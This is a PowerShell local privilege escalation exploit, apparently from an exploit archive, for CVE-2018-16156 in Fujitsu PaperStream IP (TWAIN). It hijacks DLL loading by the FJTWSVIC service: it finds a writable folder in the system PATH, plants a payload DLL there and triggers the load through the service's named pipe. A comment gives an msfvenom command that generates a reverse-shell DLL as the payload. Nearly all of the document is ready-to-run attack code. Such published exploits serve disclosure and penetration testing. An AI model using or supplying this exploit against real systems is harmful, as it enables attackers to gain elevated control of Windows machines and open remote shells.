65 lines
2.3 KiB
PowerShell
65 lines
2.3 KiB
PowerShell
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# Exploit Title: PaperStream IP (TWAIN) 1.42.0.5685 - Local Privilege Escalation
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# Exploit Author: 1F98D
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# Original Author: securifera
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# Date: 12 May 2020
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# Vendor Hompage: https://www.fujitsu.com/global/support/products/computing/peripheral/scanners/fi/software/fi6x30-fi6x40-ps-ip-twain32.html
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# CVE: CVE-2018-16156
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# Tested on: Windows 10 x64
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# References:
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# https://www.securifera.com/advisories/cve-2018-16156/
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# https://github.com/securifera/CVE-2018-16156-Exploit
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# A DLL hijack vulnerability exists in the FJTWSVIC service running as part of
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# the Fujitsu PaperStream IP (TWAIN) software package. This exploit searches
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# for a writable location, copies the specified DLL to that location and then
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# triggers the DLL load by sending a message to FJTWSVIC over the FjtwMkic_Fjicube_32
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# named pipe.
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$ErrorActionPreference = "Stop"
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# Example payload generated as follows
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# msfvenom -p windows/x64/shell_reverse_tcp -f dll -o shell.dll LHOST=eth0 LPORT=4444
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$PayloadFile = "C:\Windows\System32\spool\drivers\color\shell.dll"
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if ((Test-Path $PayloadFile) -eq $false) {
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Write-Host "$PayloadFile not found, did you forget to upload it?"
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Exit 1
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}
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# Find Writable Location
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$WritableDirectory = $null
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$Path = (Get-ItemProperty -Path "Registry::HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\Environment" -Name "PATH").path
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$Path -Split ";" | % {
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try {
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[IO.File]::OpenWrite("$_\x.txt").close()
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Remove-Item "$_\x.txt"
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$WritableDirectory = $_
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} catch {}
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}
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if ($WritableDirectory -eq $null) {
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Write-Host "No writable directories in PATH, FJTWSVIC is not exploitable"
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Exit 1
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}
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Write-Host "Writable location found, copying payload to $WritableDirectory"
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Copy-Item "$PayloadFile" "$WritableDirectory\UninOldIS.dll"
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Write-Host "Payload copied, triggering..."
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$client = New-Object System.IO.Pipes.NamedPipeClientStream(".", "FjtwMkic_Fjicube_32", [System.IO.Pipes.PipeDirection]::InOut, [System.IO.Pipes.PipeOptions]::None, [System.Security.Principal.TokenImpersonationLevel]::Impersonation)
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$reader = $null
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$writer = $null
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try {
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$client.Connect()
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$reader = New-Object System.IO.StreamReader($client)
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$writer = New-Object System.IO.StreamWriter($client)
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$writer.AutoFlush = $true
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$writer.Write("ChangeUninstallString")
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$reader.ReadLine()
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} finally {
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$client.Dispose()
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}
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Write-Host "Payload triggered"
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